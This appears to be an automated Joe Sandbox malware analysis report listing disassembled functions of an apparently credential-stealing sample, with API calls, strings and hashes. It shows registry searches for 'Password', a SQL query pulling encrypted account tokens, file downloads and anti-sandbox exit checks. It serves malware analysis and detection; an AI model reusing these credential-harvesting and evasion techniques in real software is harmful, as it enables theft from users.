Opcode ID: 9a9d15ccce1688aa5f0ddc31980a02235787a91170649dd34c88eef5399de2d3
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: 9a9d15ccce1688aa5f0ddc31980a02235787a91170649dd34c88eef5399de2d3
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74
c.A, xrefs: 00404CC1, 00404DA0

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: 0de907d42740b73276ee4841b6eaeb85befe0f9a3eb9d020644180b68549cc61
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: 0de907d42740b73276ee4841b6eaeb85befe0f9a3eb9d020644180b68549cc61
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

:, xrefs: 004141F9
C, xrefs: 004141E9
\, xrefs: 004141FD

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 00409426, 00409449, 00409429, 0040946F
'@, xrefs: 004093C3, 00409486

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 8b55da906079f4b7e2c67570a1be054e10abea7064ba0d58136f1bac8616076b
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 8b55da906079f4b7e2c67570a1be054e10abea7064ba0d58136f1bac8616076b
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,041F6A68,00000000,?,0041D774,00000000,?,00000000,00000000,?,041F6C78), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

@, xrefs: 0041498A
%d MB, xrefs: 004149E0

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,041F37A0), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCrackCreateFindNotificationReadWritelstrcpylstrlen
String ID:
API String ID: 729276229-0
Opcode ID: 33d80e034ad8f542e0ef5a467f467662f582e0545ae4ff6488c0ef396ccf234c
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: 33d80e034ad8f542e0ef5a467f467662f582e0545ae4ff6488c0ef396ccf234c
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 58fa82f264080733bae1e7b8f01e14ae4a67fe3ffc4adbed189253538e0755ae
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 58fa82f264080733bae1e7b8f01e14ae4a67fe3ffc4adbed189253538e0755ae
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountId, xrefs: 0040B472
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B319
AccountTokens, xrefs: 0040B28A

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7d4500fa2934594752666061c9df31e8c65c16c470467cd37b1ac9dbbd13c62c
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: 7d4500fa2934594752666061c9df31e8c65c16c470467cd37b1ac9dbbd13c62c
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 6BFAC930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6BFAC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6BFAC969
GetSystemInfo.KERNEL32(?), ref: 6BFAC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6BFAC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6BFAC9E2

Strings

yUbg/, xrefs: 6BFAC939

Memory Dump Source

Source File: 00000001.00000002.2165694839.000000006BF91000.00000020.00000001.01000000.00000010.sdmp, Offset: 6BF90000, based on PE: true

Associated: 00000001.00000002.2165674576.000000006BF90000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165783720.000000006C01E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165806897.000000006C022000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6bf90000_u5e0.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: yUbg/
API String ID: 4191843772-67982660
Opcode ID: 1a930f38438d912af064071f34dfb4360e9b8d1bee1b1f109747c688820e613b
Instruction ID: fad20f0d7258fef7166e9c6e500a5d2ee5f7c6d24a914ae736c3644e25fcc0f5
Opcode Fuzzy Hash: 1a930f38438d912af064071f34dfb4360e9b8d1bee1b1f109747c688820e613b
Instruction Fuzzy Hash: AA21F973740214ABDB099AA9CCC6BAEB7BDBB4A740F50011EF906A7740DF749C4087A1

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,041F6A98,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,041F6D08,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.KERNEL32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 531daa6300200cb92d5b1988fc21d9558b480b48c1d4f7758da1487724698403
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 531daa6300200cb92d5b1988fc21d9558b480b48c1d4f7758da1487724698403
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,041F7460,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,041F88C0,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,041F89B0), ref: 00411E2B

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,041F8238,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: cd8ce6d40e5afa3ebb260d2b60027121d441955b8b015006d91c09b557981aa9
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: cd8ce6d40e5afa3ebb260d2b60027121d441955b8b015006d91c09b557981aa9
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2438), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2240), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2288), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F22D0), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2258), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2C10), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041D8018), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041D8038), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F23C0), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F24C8), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2450), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2378), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041D7E58), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041F2300), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,041F35B0,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,041F3440,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
